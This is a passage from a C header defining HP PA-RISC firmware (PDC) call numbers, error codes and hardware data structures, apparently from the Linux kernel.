#define PDC_PIM_HPMC            0       /* Transfer HPMC data           */
#define PDC_PIM_RETURN_SIZE     1       /* Get Max buffer needed for PIM*/
#define PDC_PIM_LPMC            2       /* Transfer HPMC data           */
#define PDC_PIM_SOFT_BOOT       3       /* Transfer Soft Boot data      */
#define PDC_PIM_TOC             4       /* Transfer TOC data            */

#define PDC_MODEL	4		/* PDC model information call	*/
#define PDC_MODEL_INFO		0	/* returns information 		*/
#define PDC_MODEL_BOOTID	1	/* set the BOOT_ID		*/
#define PDC_MODEL_VERSIONS	2	/* returns cpu-internal versions*/
#define PDC_MODEL_SYSMODEL	3	/* return system model info	*/
#define PDC_MODEL_ENSPEC	4	/* ??? */
#define PDC_MODEL_DISPEC	5	/* ??? */
#define PDC_MODEL_CPU_ID	6	/* returns cpu-id (only newer machines!) */
#define PDC_MODEL_CAPABILITIES	7	/* returns OS32/OS64-flags	*/
#define PDC_MODEL_GET_BOOT__OP	8	/* returns boot test options	*/
#define PDC_MODEL_SET_BOOT__OP	9	/* set boot test options	*/

#define PDC_CACHE	5		/* return/set cache (& TLB) info*/
#define PDC_CACHE_INFO		0	/* returns information 		*/
#define PDC_CACHE_SET_COH	1	/* set coherence state		*/
#define PDC_CACHE_RET_SPID	2	/* returns space-ID bits	*/

#define PDC_HPA	 6       	/* return HPA of processor */
#define PDC_HPA_PROCESSOR       0
#define PDC_HPA_MODULES	 1

#define PDC_COPROC	7       /* Co-Processor (usually FP unit(s)) */
#define PDC_COPROC_CFG	0       /* Co-Processor Cfg (FP unit(s) enabled?) */

#define PDC_IODC	8       /* talk to IODC */
#define PDC_IODC_READ	   0       /* read IODC entry point */
/*      PDC_IODC_RI_*		      INDEX parameter of PDC_IODC_READ   */
#define PDC_IODC_RI_DATA_BYTES	0	/* IODC Data Bytes		    */
/*				1, 2	   obsolete - HVERSION dependent      */
#define PDC_IODC_RI_INIT	3	/* Initialize module		  */
#define PDC_IODC_RI_IO		4	/* Module input/output		*/
#define PDC_IODC_RI_SPA		5	/* Module input/output		*/
#define PDC_IODC_RI_CONFIG	6	/* Module input/output		*/
/*				7	  obsolete - HVERSION dependent      */
#define PDC_IODC_RI_TEST	8	/* Module input/output		*/
#define PDC_IODC_RI_TLB		9	/* Module input/output		*/
#define PDC_IODC_NINIT	  2       /* non-destructive init */
#define PDC_IODC_DINIT	  3       /* destructive init */
#define PDC_IODC_MEMERR	 4       /* check for memory errors */
#define PDC_IODC_INDEX_DATA     0       /* get first 16 bytes from mod IODC */
#define PDC_IODC_BUS_ERROR      -4      /* bus error return value */
#define PDC_IODC_INVALID_INDEX  -5      /* invalid index return value */
#define PDC_IODC_COUNT	  -6      /* count is too small */

#define	PDC_TOD		9		/* time-of-day clock (TOD) */
#define	PDC_TOD_READ		0	/* read TOD  */
#define	PDC_TOD_WRITE		1	/* write TOD */
#define	PDC_TOD_ITIMER		2	/* calibrate Interval Timer (CR16) */

#define PDC_ADD_VALID	12    		/* Memory validation PDC call */
#define PDC_ADD_VALID_VERIFY  0    	/* Make PDC_ADD_VALID verify region */

#define PDC_INSTR	15		/* get instr to invoke PDCE_CHECK() */

#define PDC_BLOCK_TLB	18		/* manage hardware block-TLB	*/
#define PDC_BTLB_INFO		0	/* returns parameter 		*/
#define PDC_BTLB_INSERT		1	/* insert BTLB entry		*/
#define PDC_BTLB_PURGE		2	/* purge BTLB entries 		*/
#define PDC_BTLB_PURGE_ALL	3	/* purge all BTLB entries 	*/

#define PDC_TLB		19		/* manage hardware TLB miss handling */
#define PDC_TLB_INFO		0	/* returns parameter 		*/
#define PDC_TLB_SETUP		1	/* set up miss handling 	*/

#define PDC_MEM         20              /* Manage memory */
#define PDC_MEM_TABLE           128     /* Non contig mem map (sprockets) */

#define PDC_PSW		21		/* Get/Set default System Mask  */
#define PDC_PSW_MASK            0	/* Return mask                  */
#define PDC_PSW_GET_DEFAULTS    1	/* Return defaults              */
#define PDC_PSW_SET_DEFAULTS    2	/* Set default                  */
#define PDC_PSW_ENDIAN_BIT	1	/* set for big endian           */
#define PDC_PSW_WIDE_BIT	2	/* set for wide mode            */ 

#define PDC_SYSTEM_MAP	22		/* find system modules */
#define PDC_FIND_MODULE 	0
#define PDC_FIND_ADDRESS        1


/* HVERSION dependent */

#define PDC_IO			135	/* log error info, reset IO system  */

#define PDC_BROADCAST_RESET	136	/* reset all processors	     */
#define PDC_DO_RESET            0UL	/* option: perform a broadcast reset */
#define PDC_DO_FIRM_TEST_RESET  1UL	/* Do broadcast reset with bitmap */
#define PDC_BR_RECONFIGURATION  2UL	/* reset w/reconfiguration */
#define PDC_FIRM_TEST_MAGIC 	0xab9ec36fUL    /* for this reboot only */

#define PDC_LAN_STATION_ID      138     /* Hversion dependent mechanism for */
#define PDC_LAN_STATION_ID_READ 0       /* getting the lan station address  */

#define	PDC_LAN_STATION_ID_SIZE	6

/* Legacy PDC definitions for same stuff */
#define PDC_PCI_INDEX		   147UL
#define PDC_PCI_GET_INT_TBL_SIZE	13UL
#define PDC_PCI_GET_INT_TBL	     14UL

/* generic error codes returned by all PDC-functions */

#define PDC_WARN	    3  /* Call completed with a warning */
#define PDC_REQ_ERR_1       2  /* See above */
#define PDC_REQ_ERR_0       1  /* Call would generate a requestor error */
#define PDC_OK	      0  /* Call completed successfully */
#define PDC_BAD_PROC	   -1  /* Called non-existant procedure */
#define PDC_BAD_OPTION     -2  /* Called with non-existant option */
#define PDC_ERROR	  -3  /* Call could not complete without an error */
#define PDC_INVALID_ARG   -10  /* Called with an invalid argument */
#define PDC_BUS_POW_WARN  -12  /* Call could not complete in allowed power budget */


/* The following are from the HPUX .h files, and are just for
compatibility */

#define PDC_RET_OK       0L	/* Call completed successfully */
#define PDC_RET_NE_PROC -1L	/* Non-existent procedure */
#define PDC_RET_NE_OPT  -2L	/* non-existant option - arg1 */
#define PDC_RET_NE_MOD  -5L	/* Module not found */
#define PDC_RET_NE_CELL_MOD -7L	/* Cell module not found */
#define PDC_RET_INV_ARG	-10L	/* Invalid argument */
#define PDC_RET_NOT_NARROW -17L /* Narrow mode not supported */


/* Error codes for PDC_ADD_VALID */

#define PDC_ADD_VALID_WARN	    3  /* Call completed with a warning */
#define PDC_ADD_VALID_REQ_ERR_1       2  /* See above */
#define PDC_ADD_VALID_REQ_ERR_0       1  /* Call would generate a requestor error */
#define PDC_ADD_VALID_OK	      0  /* Call completed successfully */
#define PDC_ADD_VALID_BAD_OPTION     -2  /* Called with non-existant option */
#define PDC_ADD_VALID_ERROR	  -3  /* Call could not complete without an error */
#define PDC_ADD_VALID_INVALID_ARG   -10  /* Called with an invalid argument */
#define PDC_ADD_VALID_BUS_POW_WARN  -12  /* Call could not complete in allowed power budget */

/* The PDC_MEM_MAP calls */

#define PDC_MEM_MAP	    128
#define PDC_MEM_MAP_HPA		0

/* constants for OS (NVM...) */
#define OS_ID_NONE	0
#define OS_ID_HPUX	1
#define OS_ID_MPEXL	2
#define OS_ID_OSF	3
#define OS_ID_LINUX	OS_ID_HPUX

/* constants for PDC_CHASSIS */
#define OSTAT_OFF		      0
#define OSTAT_FLT		      1 
#define OSTAT_TEST		     2
#define OSTAT_INIT		     3
#define OSTAT_SHUT		     4
#define OSTAT_WARN		     5
#define OSTAT_RUN		      6
#define OSTAT_ON		       7

#ifdef __LP64__
/* PDC PAT CELL */
#define PDC_PAT_CELL           	64L   /* Interface for gaining and 
                                         * manipulatin g cell state within PD */
#define PDC_PAT_CELL_GET_NUMBER    0L   /* Return Cell number */
#define PDC_PAT_CELL_GET_INFO      1L   /* Returns info about Cell */
#define PDC_PAT_CELL_MODULE        2L   /* Returns info about Module */
#define PDC_PAT_CELL_SET_ATTENTION 9L   /* Set Cell Attention indicator */
#define PDC_PAT_CELL_NUMBER_TO_LOC 10L   /* Cell Number -> Location */
#define PDC_PAT_CELL_WALK_FABRIC   11L   /* Walk the Fabric */
#define PDC_PAT_CELL_GET_RDT_SIZE  12L   /* Return Route Distance Table Sizes */
#define PDC_PAT_CELL_GET_RDT       13L   /* Return Route Distance Tables */
#define PDC_PAT_CELL_GET_LOCAL_PDH_SZ 14L /* Read Local PDH Buffer Size */
#define PDC_PAT_CELL_SET_LOCAL_PDH    15L  /* Write Local PDH Buffer */
#define PDC_PAT_CELL_GET_REMOTE_PDH_SZ 16L /* Return Remote PDH Buffer Size */
#define PDC_PAT_CELL_GET_REMOTE_PDH 17L /* Read Remote PDH Buffer */
#define PDC_PAT_CELL_GET_DBG_INFO   128L  /* Return DBG Buffer Info */
#define PDC_PAT_CELL_CHANGE_ALIAS   129L  /* Change Non-Equivalent Alias Chacking */

/*
** Arg to PDC_PAT_CELL_MODULE memaddr[4]
**
** Addresses on the Merced Bus != all Runway Bus addresses.
** This is intended for programming SBA/LBA chips range registers.
*/
#define IO_VIEW      0UL
#define PA_VIEW      1UL

/* PDC_PAT_CELL_MODULE entity type values */
#define	PAT_ENTITY_CA	0	/* central agent */
#define	PAT_ENTITY_PROC	1	/* processor */
#define	PAT_ENTITY_MEM	2	/* memory controller */
#define	PAT_ENTITY_SBA	3	/* system bus adapter */
#define	PAT_ENTITY_LBA	4	/* local bus adapter */
#define	PAT_ENTITY_PBC	5	/* processor bus converter */
#define	PAT_ENTITY_XBC	6	/* crossbar fabric connect */
#define	PAT_ENTITY_RC	7	/* fabric interconnect */

/* PDC_PAT_CELL_MODULE address range type values */
#define PAT_PBNUM           0         /* PCI Bus Number */
#define PAT_LMMIO           1         /* < 4G MMIO Space */
#define PAT_GMMIO           2         /* > 4G MMIO Space */
#define PAT_NPIOP           3         /* Non Postable I/O Port Space */
#define PAT_PIOP            4         /* Postable I/O Port Space */
#define PAT_AHPA            5         /* Addional HPA Space */
#define PAT_UFO             6         /* HPA Space (UFO for Mariposa) */
#define PAT_GNIP            7         /* GNI Reserved Space */


/* PDC PAT CHASSIS LOG */

#define PDC_PAT_CHASSIS_LOG		65L /* Platform logging & forward
					    ** progress functions */
#define PDC_PAT_CHASSIS_WRITE_LOG    	0L /* Write Log Entry */
#define PDC_PAT_CHASSIS_READ_LOG     	1L /* Read  Log Entry */

/* PDC PAT CPU  */

#define PDC_PAT_CPU                	67L /* Interface to CPU configuration
                                        	* within the protection domain */
#define PDC_PAT_CPU_INFO            	0L /* Return CPU config info */
#define PDC_PAT_CPU_DELETE          	1L /* Delete CPU */
#define PDC_PAT_CPU_ADD             	2L /* Add    CPU */
#define PDC_PAT_CPU_GET_NUMBER      	3L /* Return CPU Number */
#define PDC_PAT_CPU_GET_HPA         	4L /* Return CPU HPA */
#define PDC_PAT_CPU_STOP            	5L /* Stop   CPU */
#define PDC_PAT_CPU_RENDEZVOUS      	6L /* Rendezvous CPU */
#define PDC_PAT_CPU_GET_CLOCK_INFO  	7L /* Return CPU Clock info */
#define PDC_PAT_CPU_GET_RENDEZVOUS_STATE 8L /* Return Rendezvous State */
#define PDC_PAT_CPU_PLUNGE_FABRIC 	128L /* Plunge Fabric */
#define PDC_PAT_CPU_UPDATE_CACHE_CLEANSING 129L /* Manipulate Cache 
                                                 * Cleansing Mode */
/*  PDC PAT EVENT */

#define PDC_PAT_EVENT              	68L /* Interface to Platform Events */
#define PDC_PAT_EVENT_GET_CAPS     	0L /* Get Capabilities */
#define PDC_PAT_EVENT_SET_MODE     	1L /* Set Notification Mode */
#define PDC_PAT_EVENT_SCAN         	2L /* Scan Event */
#define PDC_PAT_EVENT_HANDLE       	3L /* Handle Event */
#define PDC_PAT_EVENT_GET_NB_CALL  	4L /* Get Non-Blocking call Args */

/*  PDC PAT HPMC */

#define PDC_PAT_HPMC               70L /* Cause processor to go into spin
				       ** loop, and wait for wake up from
				       ** Monarch Processor */
#define PDC_PAT_HPMC_RENDEZ_CPU     0L /* go into spin loop */
#define PDC_PAT_HPMC_SET_PARAMS     1L /* Allows OS to specify intr which PDC 
                                        * will use to interupt OS during machine
                                        * check rendezvous */

/* parameters for PDC_PAT_HPMC_SET_PARAMS: */
#define HPMC_SET_PARAMS_INTR 	    1L /* Rendezvous Interrupt */
#define HPMC_SET_PARAMS_WAKE 	    2L /* Wake up processor */

/*  PDC PAT IO */

#define PDC_PAT_IO                  71L /* On-line services for I/O modules */
#define PDC_PAT_IO_GET_SLOT_STATUS   	5L /* Get Slot Status Info*/
#define PDC_PAT_IO_GET_LOC_FROM_HARDWARE 6L /* Get Physical Location from */
                                            /* Hardware Path */
#define PDC_PAT_IO_GET_HARDWARE_FROM_LOC 7L /* Get Hardware Path from 
                                             * Physical Location */
#define PDC_PAT_IO_GET_PCI_CONFIG_FROM_HW 11L /* Get PCI Configuration
                                               * Address from Hardware Path */
#define PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG 12L /* Get Hardware Path 
                                               * from PCI Configuration Address */
#define PDC_PAT_IO_READ_HOST_BRIDGE_INFO 13L  /* Read Host Bridge State Info */
#define PDC_PAT_IO_CLEAR_HOST_BRIDGE_INFO 14L /* Clear Host Bridge State Info*/
#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE_SIZE 15L /* Get PCI INT Routing Table 
                                                   * Size */
#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE  16L /* Get PCI INT Routing Table */
#define PDC_PAT_IO_GET_HINT_TABLE_SIZE 	17L /* Get Hint Table Size */
#define PDC_PAT_IO_GET_HINT_TABLE   	18L /* Get Hint Table */
#define PDC_PAT_IO_PCI_CONFIG_READ  	19L /* PCI Config Read */
#define PDC_PAT_IO_PCI_CONFIG_WRITE 	20L /* PCI Config Write */
#define PDC_PAT_IO_GET_NUM_IO_SLOTS 	21L /* Get Number of I/O Bay Slots in 
                                       		  * Cabinet */
#define PDC_PAT_IO_GET_LOC_IO_SLOTS 	22L /* Get Physical Location of I/O */
                                   		     /* Bay Slots in Cabinet */
#define PDC_PAT_IO_BAY_STATUS_INFO  	28L /* Get I/O Bay Slot Status Info */
#define PDC_PAT_IO_GET_PROC_VIEW        29L /* Get Processor view of IO address */
#define PDC_PAT_IO_PROG_SBA_DIR_RANGE   30L /* Program directed range */

/* PDC PAT MEM */

#define PDC_PAT_MEM             	72L /* Manage memory page deallocation */
#define PDC_PAT_MEM_PD_INFO     	0L /* Return PDT info for PD       */
#define PDC_PAT_MEM_PD_CLEAR    	1L /* Clear PDT for PD             */
#define PDC_PAT_MEM_PD_READ     	2L /* Read PDT entries for PD      */
#define PDC_PAT_MEM_PD_RESET    	3L /* Reset clear bit for PD       */
#define PDC_PAT_MEM_CELL_INFO   	5L /* Return PDT info For Cell     */
#define PDC_PAT_MEM_CELL_CLEAR  	6L /* Clear PDT For Cell           */
#define PDC_PAT_MEM_CELL_READ   	7L /* Read PDT entries For Cell    */
#define PDC_PAT_MEM_CELL_RESET  	8L /* Reset clear bit For Cell     */
#define PDC_PAT_MEM_SETGM	  	9L /* Set Golden Memory value      */
#define PDC_PAT_MEM_ADD_PAGE    	10L /* ADDs a page to the cell      */
#define PDC_PAT_MEM_ADDRESS     	11L /* Get Physical Location From   */
                                    		 /* Memory Address               */
#define PDC_PAT_MEM_GET_TXT_SIZE   	12L /* Get Formatted Text Size   */
#define PDC_PAT_MEM_GET_PD_TXT     	13L /* Get PD Formatted Text     */
#define PDC_PAT_MEM_GET_CELL_TXT   	14L /* Get Cell Formatted Text   */
#define PDC_PAT_MEM_RD_STATE_INFO  	15L /* Read Mem Module State Info*/
#define PDC_PAT_MEM_CLR_STATE_INFO 	16L /*Clear Mem Module State Info*/
#define PDC_PAT_MEM_CLEAN_RANGE    	128L /*Clean Mem in specific range*/
#define PDC_PAT_MEM_GET_TBL_SIZE   	131L /* Get Memory Table Size     */
#define PDC_PAT_MEM_GET_TBL        	132L /* Get Memory Table          */

/* PDC PAT NVOLATILE */

#define PDC_PAT_NVOLATILE          	73L /* Access Non-Volatile Memory */
#define PDC_PAT_NVOLATILE_READ      	0L /* Read Non-Volatile Memory   */
#define PDC_PAT_NVOLATILE_WRITE     	1L /* Write Non-Volatile Memory  */
#define PDC_PAT_NVOLATILE_GET_SIZE  	2L /* Return size of NVM         */
#define PDC_PAT_NVOLATILE_VERIFY    	3L /* Verify contents of NVM     */
#define PDC_PAT_NVOLATILE_INIT      	4L /* Initialize NVM             */

/* PDC PAT PD */

#define PDC_PAT_PD                      74L /* Protection Domain Info      */
#define PDC_PAT_PD_GET_ADDR_MAP         0L  /* Get Address Map             */

/* PDC_PAT_PD_GET_ADDR_MAP entry types */

#define PAT_MEMORY_DESCRIPTOR           1

/* PDC_PAT_PD_GET_ADDR_MAP memory types */

#define PAT_MEMTYPE_MEMORY              0
#define PAT_MEMTYPE_FIRMWARE            4

/* PDC_PAT_PD_GET_ADDR_MAP memory usage */

#define PAT_MEMUSE_GENERAL              0
#define PAT_MEMUSE_GI                 128
#define PAT_MEMUSE_GNI                129
#endif /* __LP64__ */

#ifndef __ASSEMBLY__

#include <linux/types.h>

extern int pdc_type;

/* Values for pdc_type */

#define PDC_TYPE_ILLEGAL   -1
#define PDC_TYPE_PAT        0   /* Newer PAT PDC box (64 bit only */
#define PDC_TYPE_SYSTEM_MAP 1   /* Legacy box that supports PDC_SYSTEM_MAP */
#define PDC_TYPE_LEGACY     2   /* Older Legacy box */

#define is_pdc_pat()    (pdc_type == PDC_TYPE_PAT)

struct pdc_chassis_info {       /* for PDC_CHASSIS_INFO */
	unsigned long actcnt;   /* actual number of bytes returned */
	unsigned long maxcnt;   /* maximum number of bytes that could be returned */
};

struct pdc_coproc_cfg {         /* for PDC_COPROC_CFG */
        unsigned long ccr_functional;
        unsigned long ccr_present;
        unsigned long revision;
        unsigned long model;
};

struct pdc_model {		/* for PDC_MODEL */
	unsigned long hversion;
	unsigned long sversion;
	unsigned long hw_id;
	unsigned long boot_id;
	unsigned long sw_id;
	unsigned long sw_cap;
	unsigned long arch_rev;
	unsigned long pot_key;
	unsigned long curr_key;
};

struct pdc_cache_cf {		/* for PDC_CACHE  (I/D-caches) */
    unsigned long
#ifdef __LP64__
		cc_padW:32,
#endif
		cc_alias:4,	/* alias boundaries for virtual adresses   */
		cc_block: 4,	/* to determine most efficient stride */
		cc_line	: 3,	/* maximum amount written back as a result of store (multiple of 16 bytes) */
		cc_pad0 : 2,	/* reserved */
		cc_wt	: 1,	/* 0 = WT-Dcache, 1 = WB-Dcache */
		cc_sh	: 2,	/* 0 = separate I/D-cache, else shared I/D-cache */
		cc_cst  : 3,	/* 0 = incoherent D-cache, 1=coherent D-cache */
		cc_pad1 : 5,	/* reserved */
		cc_assoc: 8;	/* associativity of I/D-cache */
};

struct pdc_tlb_cf {		/* for PDC_CACHE (I/D-TLB's) */
    unsigned long tc_pad0:12,	/* reserved */
#ifdef __LP64__
		tc_padW:32,
#endif
		tc_sh	: 2,	/* 0 = separate I/D-TLB, else shared I/D-TLB */
		tc_hv   : 1,	/* HV */
		tc_page : 1,	/* 0 = 2K page-size-machine, 1 = 4k page size */
		tc_cst  : 3,	/* 0 = incoherent operations, else coherent operations */
		tc_aid  : 5,	/* ITLB: width of access ids of processor (encoded!) */
		tc_pad1 : 8;	/* ITLB: width of space-registers (encoded) */
};

struct pdc_cache_info {		/* main-PDC_CACHE-structure (caches & TLB's) */
	/* I-cache */
	unsigned long	ic_size;	/* size in bytes */
	struct pdc_cache_cf ic_conf;	/* configuration */
	unsigned long	ic_base;	/* base-addr */
	unsigned long	ic_stride;
	unsigned long	ic_count;
	unsigned long	ic_loop;
	/* D-cache */
	unsigned long	dc_size;	/* size in bytes */
	struct pdc_cache_cf dc_conf;	/* configuration */
	unsigned long	dc_base;	/* base-addr */
	unsigned long	dc_stride;
	unsigned long	dc_count;
	unsigned long	dc_loop;
	/* Instruction-TLB */
	unsigned long	it_size;	/* number of entries in I-TLB */
	struct pdc_tlb_cf it_conf;	/* I-TLB-configuration */
	unsigned long	it_sp_base;
	unsigned long	it_sp_stride;
	unsigned long	it_sp_count;
	unsigned long	it_off_base;
	unsigned long	it_off_stride;
	unsigned long	it_off_count;
	unsigned long	it_loop;
	/* data-TLB */
	unsigned long	dt_size;	/* number of entries in D-TLB */
	struct pdc_tlb_cf dt_conf;	/* D-TLB-configuration */
	unsigned long	dt_sp_base;
	unsigned long	dt_sp_stride;
	unsigned long	dt_sp_count;
	unsigned long	dt_off_base;
	unsigned long	dt_off_stride;
	unsigned long	dt_off_count;
	unsigned long	dt_loop;
};

#if 0
/* If you start using the next struct, you'll have to adjust it to
 * work with 64-bit firmware I think -PB
 */
struct pdc_iodc {     /* PDC_IODC */
	unsigned char   hversion_model;
	unsigned char 	hversion;
	unsigned char 	spa;
	unsigned char 	type;
	unsigned int	sversion_rev:4;
	unsigned int	sversion_model:19;
	unsigned int	sversion_opt:8;
	unsigned char	rev;
	unsigned char	dep;
	unsigned char	features;
	unsigned char	pad1;
	unsigned int	checksum:16;
	unsigned int	length:16;
	unsigned int    pad[15];
} __attribute__((aligned(8))) ;
#endif

#ifndef CONFIG_PA20
/* no BLTBs in pa2.0 processors */
struct pdc_btlb_info_range {
	__u8 res00;
	__u8 num_i;
	__u8 num_d;
	__u8 num_comb;
};

struct pdc_btlb_info {	/* PDC_BLOCK_TLB, return of PDC_BTLB_INFO */
	unsigned int min_size;	/* minimum size of BTLB in pages */
	unsigned int max_size;	/* maximum size of BTLB in pages */
	struct pdc_btlb_info_range fixed_range_info;
	struct pdc_btlb_info_range variable_range_info;
};
#endif

#ifdef __LP64__
struct pdc_memory_table_raddr { /* PDC_MEM/PDC_MEM_TABLE (return info) */
	unsigned long entries_returned;
	unsigned long entries_total;
};

struct pdc_memory_table {       /* PDC_MEM/PDC_MEM_TABLE (arguments) */
	unsigned long paddr;
	unsigned int  pages;
	unsigned int  reserved;
};
#endif

struct pdc_system_map_mod_info { /* PDC_SYSTEM_MAP/FIND_MODULE */
	void * mod_addr;
	unsigned long mod_pgs;
	unsigned long add_addrs;
};

struct pdc_system_map_addr_info { /* PDC_SYSTEM_MAP/FIND_ADDRESS */
	void * mod_addr;
	unsigned long mod_pgs;
};

/*
 * Device path specifications used by PDC.
 */
struct pdc_module_path {
	char  flags;	/* see bit definitions below */
	char  bc[6];	/* Bus Converter routing info to a specific */
			/* I/O adaptor (< 0 means none, > 63 resvd) */
	char  mod;	/* fixed field of specified module */
	unsigned int layers[6]; /* device-specific info (ctlr #, unit # ...) */
};

#ifndef __LP64__
/* Probably needs 64-bit porting -PB */
struct pdc_memory_map {		/* PDC_MEMORY_MAP */
	unsigned long hpa;	/* mod's register set address */
	unsigned long more_pgs;	/* number of additional I/O pgs */
};
#endif

struct pdc_tod {
	unsigned long tod_sec; 
	unsigned long tod_usec;
};

#ifdef __LP64__
struct pdc_pat_cell_num {
	unsigned long cell_num;
	unsigned long cell_loc;
};

struct pdc_pat_cpu_num {
	unsigned long cpu_num;
	unsigned long cpu_loc;
};

struct pdc_pat_pd_addr_map_entry {
	unsigned char entry_type;       /* 1 = Memory Descriptor Entry Type */
	unsigned char reserve1[5];
	unsigned char memory_type;
	unsigned char memory_usage;
	unsigned long paddr;
	unsigned int  pages;            /* Length in 4K pages */
	unsigned int  reserve2;
	unsigned long cell_map;
};

/* FIXME: mod[508] should really be a union of the various mod components */
struct pdc_pat_cell_mod_maddr_block {	/* PDC_PAT_CELL_MODULE */
	unsigned long cba;              /* function 0 configuration space address */
	unsigned long mod_info;         /* module information */
	unsigned long mod_location;     /* physical location of the module */
	unsigned long mod_path;         /* module path (device path - layers) */
	unsigned long mod[508];		/* PAT cell module components */
};

typedef struct pdc_pat_cell_mod_maddr_block pdc_pat_cell_mod_maddr_block_t;
#endif

/* architected results from PDC_PIM/transfer hpmc on a PA1.1 machine */

struct pdc_hpmc_pim_11 { /* PDC_PIM */
	__u32 gr[32];
	__u32 cr[32];
	__u32 sr[8];
	__u32 iasq_back;
	__u32 iaoq_back;
	__u32 check_type;
	__u32 cpu_state;
	__u32 rsvd1;
	__u32 cache_check;
	__u32 tlb_check;
	__u32 bus_check;
	__u32 assists_check;
	__u32 rsvd2;
	__u32 assist_state;
	__u32 responder_addr;
	__u32 requestor_addr;
	__u32 path_info;
	__u64 fr[32];
};

/*
 * architected results from PDC_PIM/transfer hpmc on a PA2.0 machine
 *
 * Note that PDC_PIM doesn't care whether or not wide mode was enabled
 * so the results are different on  PA1.1 vs. PA2.0 when in narrow mode.
 *
 * Note also that there are unarchitected results available, which
 * are hversion dependent. Do a "ser pim 0 hpmc" after rebooting, since
 * the firmware is probably the best way of printing hversion dependent
 * data.
 */

struct pdc_hpmc_pim_20 { /* PDC_PIM */
	__u64 gr[32];
	__u64 cr[32];
	__u64 sr[8];
	__u64 iasq_back;
	__u64 iaoq_back;
	__u32 check_type;
	__u32 cpu_state;
	__u32 cache_check;
	__u32 tlb_check;
	__u32 bus_check;
	__u32 assists_check;
	__u32 assist_state;
	__u32 path_info;
	__u64 responder_addr;
	__u64 requestor_addr;
	__u64 fr[32];
};

#endif /* __ASSEMBLY__ */

/* flags of the device_path (see below) */
#define	PF_AUTOBOOT	0x80
#define	PF_AUTOSEARCH	0x40
#define	PF_TIMER	0x0F

#ifndef __ASSEMBLY__

struct device_path {		/* page 1-69 */
	unsigned char flags;	/* flags see above! */
	unsigned char bc[6];	/* bus converter routing info */
	unsigned char mod;
	unsigned int  layers[6];/* device-specific layer-info */
} __attribute__((aligned(8))) ;

struct pz_device {
	struct	device_path dp;	/* see above */
	/* struct	iomod *hpa; */
	unsigned int hpa;	/* HPA base address */
	/* char	*spa; */
	unsigned int spa;	/* SPA base address */
	/* int	(*iodc_io)(struct iomod*, ...); */
	unsigned int iodc_io;	/* device entry point */
	short	pad;		/* reserved */
	unsigned short cl_class;/* see below */
} __attribute__((aligned(8))) ;

#endif /* __ASSEMBLY__ */

/* cl_class
 * page 3-33 of IO-Firmware ARS
 * IODC ENTRY_INIT(Search first) RET[1]
 */
#define	CL_NULL		0	/* invalid */
#define	CL_RANDOM	1	/* random access (as disk) */
#define	CL_SEQU		2	/* sequential access (as tape) */
#define	CL_DUPLEX	7	/* full-duplex point-to-point (RS-232, Net) */
#define	CL_KEYBD	8	/* half-duplex console (HIL Keyboard) */
#define	CL_DISPL	9	/* half-duplex console (display) */
#define	CL_FC		10	/* FiberChannel access media */

#if 0
/* FIXME: DEVCLASS_* duplicates CL_* (above).  Delete DEVCLASS_*? */
#define DEVCLASS_RANDOM		1
#define DEVCLASS_SEQU		2
#define DEVCLASS_DUPLEX		7
#define DEVCLASS_KEYBD		8
#define DEVCLASS_DISP		9
#endif

/* IODC ENTRY_INIT() */
#define ENTRY_INIT_SRCH_FRST	2
#define ENTRY_INIT_SRCH_NEXT	3
#define ENTRY_INIT_MOD_DEV	4
#define ENTRY_INIT_DEV		5
#define ENTRY_INIT_MOD		6
#define ENTRY_INIT_MSG		9

/* IODC ENTRY_IO() */
#define ENTRY_IO_BOOTIN		0
#define ENTRY_IO_CIN		2
#define ENTRY_IO_COUT		3
#define ENTRY_IO_CLOSE		4
#define ENTRY_IO_GETMSG		9

/* IODC ENTRY_SPA() */

/* IODC ENTRY_CONFIG() */

/* IODC ENTRY_TEST() */

/* IODC ENTRY_TLB() */


/* DEFINITION OF THE ZERO-PAGE (PAG0) */
/* based on work by Jason Eckhardt (jason@equator.com) */

#ifndef __ASSEMBLY__

#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)

struct zeropage {
	/* [0x000] initialize vectors (VEC) */
	unsigned int	vec_special;		/* must be zero */
	/* int	(*vec_pow_fail)(void);*/
	unsigned int	vec_pow_fail; /* power failure handler */
	/* int	(*vec_toc)(void); */
	unsigned int	vec_toc;
	unsigned int	vec_toclen;
	/* int	(*vec_rendz)(void); */
	unsigned int vec_rendz;
	int	vec_pow_fail_flen;
	int	vec_pad[10];		
	
	/* [0x040] reserved processor dependent */
	int	pad0[112];

	/* [0x200] reserved */
	int	pad1[84];

	/* [0x350] memory configuration (MC) */
	int	memc_cont;		/* contiguous mem size (bytes) */
	int	memc_phsize;		/* physical memory size */
	int	memc_adsize;		/* additional mem size, bytes of SPA space used by PDC */
	unsigned int mem_pdc_hi;	/* used for 64-bit */

	/* [0x360] various parameters for the boot-CPU */
	/* unsigned int *mem_booterr[8]; */
	unsigned int mem_booterr[8];	/* ptr to boot errors */
	unsigned int mem_free;		/* first location, where OS can be loaded */
	/* struct iomod *mem_hpa; */
	unsigned int mem_hpa;		/* HPA of the boot-CPU */
	/* int (*mem_pdc)(int, ...); */
	unsigned int mem_pdc;		/* PDC entry point */
	unsigned int mem_10msec;	/* number of clock ticks in 10msec */

	/* [0x390] initial memory module (IMM) */
	/* struct iomod *imm_hpa; */
	unsigned int imm_hpa;		/* HPA of the IMM */
	int	imm_soft_boot;		/* 0 = was hard boot, 1 = was soft boot */
	unsigned int	imm_spa_size;		/* SPA size of the IMM in bytes */
	unsigned int	imm_max_mem;		/* bytes of mem in IMM */

	/* [0x3A0] boot console, display device and keyboard */
	struct pz_device mem_cons;	/* description of console device */
	struct pz_device mem_boot;	/* description of boot device */
	struct pz_device mem_kbd;	/* description of keyboard device */

	/* [0x430] reserved */
	int	pad430[116];

	/* [0x600] processor dependent */
	__u32	pad600[1];
	__u32	proc_sti;		/* pointer to STI ROM */
	__u32	pad608[126];
};

#endif /* __ASSEMBLY__ */

/* Page Zero constant offsets used by the HPMC handler */

#define BOOT_CONSOLE_HPA_OFFSET  0x3c0
#define BOOT_CONSOLE_SPA_OFFSET  0x3c4
#define BOOT_CONSOLE_PATH_OFFSET 0x3a8

#ifndef __ASSEMBLY__
extern void pdc_console_init(void);
extern void setup_pdc(void);            /* in inventory.c */

/* wrapper-functions from pdc.c */

int pdc_add_valid(void *address);
int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len);
int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info);
